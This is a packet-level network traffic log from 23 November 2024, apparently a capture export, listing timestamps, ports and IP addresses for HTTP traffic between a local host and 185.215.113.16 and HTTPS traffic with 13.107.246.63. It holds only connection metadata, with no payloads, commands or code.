Nov 23, 2024 15:37:30.930949926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.930999041 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.931070089 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.931737900 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.931799889 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.931886911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.932554960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.932621002 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.932774067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.933330059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.933459044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.933501959 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.934120893 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.934221983 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.934281111 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.934922934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.934992075 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.935051918 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.935728073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.935786009 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.935858011 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.936530113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.936593056 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.936616898 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.937284946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.937382936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.937429905 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.938060999 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.938116074 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.938164949 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.938410044 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.938615084 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.938687086 CET	49731	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.938848019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.938906908 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.938950062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.939606905 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.939673901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.939733028 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.940409899 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.940501928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.941245079 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.941262007 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.941320896 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.941992998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.942048073 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.942122936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.942749977 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.945267916 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.951204062 CET	49731	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.951245070 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.951273918 CET	49731	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.951291084 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.954349995 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.954395056 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.954509020 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.954679966 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.954690933 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.025553942 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.025710106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.025721073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.025897026 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.026077032 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.026091099 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.026103020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.026160002 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.026777029 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.026963949 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.026974916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.027040958 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.027859926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.027869940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.027879953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.027939081 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.028707981 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.028717041 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.028728008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.028791904 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.029402971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029413939 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029423952 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029473066 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.029892921 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029902935 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029915094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029923916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029936075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029946089 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.029967070 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.030019045 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.030672073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.030718088 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.030730963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.030775070 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.031672955 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.031682968 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.031692982 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.031753063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.032375097 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.032419920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.032429934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.032497883 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.033251047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.033328056 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.033337116 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.033392906 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.034106016 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.034131050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.034141064 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.034194946 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.034940004 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.035124063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.035134077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.035197973 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.038911104 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.038922071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.038934946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.038944960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.038957119 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.038966894 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.038978100 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.038986921 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.039004087 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.039005995 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.039047003 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.039764881 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.039774895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.039786100 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.039844990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.040590048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.040601015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.040766954 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.040838003 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.041374922 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.041388988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.041399956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.041460991 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.042392015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.042403936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.042413950 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.042474985 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.043071985 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.043083906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.043093920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.043155909 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.043931007 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.043941021 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.043951988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.044013977 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.044269085 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.044279099 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.044290066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.044295073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.044368982 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.044593096 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.044714928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.044725895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.044749975 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.044786930 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.044843912 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.045285940 CET	49733	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.045481920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.045491934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.045502901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.045593023 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.045782089 CET	49733	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.045782089 CET	49733	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.045829058 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.045855999 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.046314001 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.046328068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.046336889 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.046412945 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.047187090 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.047198057 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.047210932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.047271013 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.048029900 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.048069954 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.048075914 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.048160076 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.048907995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.048927069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.048938036 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.048971891 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.049737930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.049791098 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.049803019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.049850941 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.050586939 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.050623894 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.050635099 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.050693989 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.051448107 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.051496983 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.051506996 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.051543951 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.051573992 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.052356958 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.052375078 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.052386045 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.052423954 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.053165913 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.053179026 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.053189039 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.053244114 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.054014921 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.058964014 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.059109926 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.059190035 CET	49734	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.076689959 CET	49734	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.076744080 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.076782942 CET	49734	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.076795101 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.080677032 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.080718994 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.081310034 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.082535028 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.082564116 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.083158970 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.083199978 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.085270882 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.085441113 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:31.085453033 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:31.105941057 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.216448069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.216470003 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.216480017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.216667891 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.216823101 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.216834068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.216844082 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.216888905 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.216922998 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.217700958 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.217710972 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.217721939 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.217787981 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.218503952 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.218558073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.218569994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.218626976 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.219309092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.219394922 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.219405890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.219459057 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.220184088 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.220201015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.220211029 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.220258951 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.221060991 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.221072912 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.221085072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.221144915 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.221914053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.221932888 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.221942902 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.222002029 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.222789049 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.222799063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.222809076 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.222877979 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.223568916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.223633051 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.223644018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.223695040 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.224445105 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.224488020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.224498987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.224553108 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.225303888 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.225357056 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.225368023 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.225425959 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:31.226142883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.226214886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:31.226275921 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:32.384689093 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.385237932 CET	49735	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.385296106 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.385730028 CET	49735	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.385745049 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.604823112 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.605588913 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.605614901 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.606741905 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.606750965 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.744550943 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.745702028 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.745728970 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.746212959 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.746217966 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.830634117 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.830964088 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.831048012 CET	49735	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.831101894 CET	49735	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.831135988 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.831150055 CET	49735	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.831159115 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.834359884 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.834412098 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.834498882 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.834671021 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.834690094 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.864099026 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.864562988 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.864581108 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.865063906 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.865070105 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.934218884 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.934957027 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.934983015 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:32.935282946 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:32.935287952 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.043026924 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.043200016 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.043931007 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.044023991 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.044053078 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.044066906 CET	49736	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.044075012 CET	443	49736	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.047254086 CET	49741	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.047308922 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.047422886 CET	49741	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.047552109 CET	49741	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.047565937 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.195643902 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.195797920 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.199934959 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.201056957 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.201073885 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.201083899 CET	49737	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.201088905 CET	443	49737	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.203699112 CET	49742	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.203748941 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.203841925 CET	49742	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.203965902 CET	49742	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.203984976 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.320055008 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.320204020 CET	443	49738	13.107.246.63	192.168.2.5
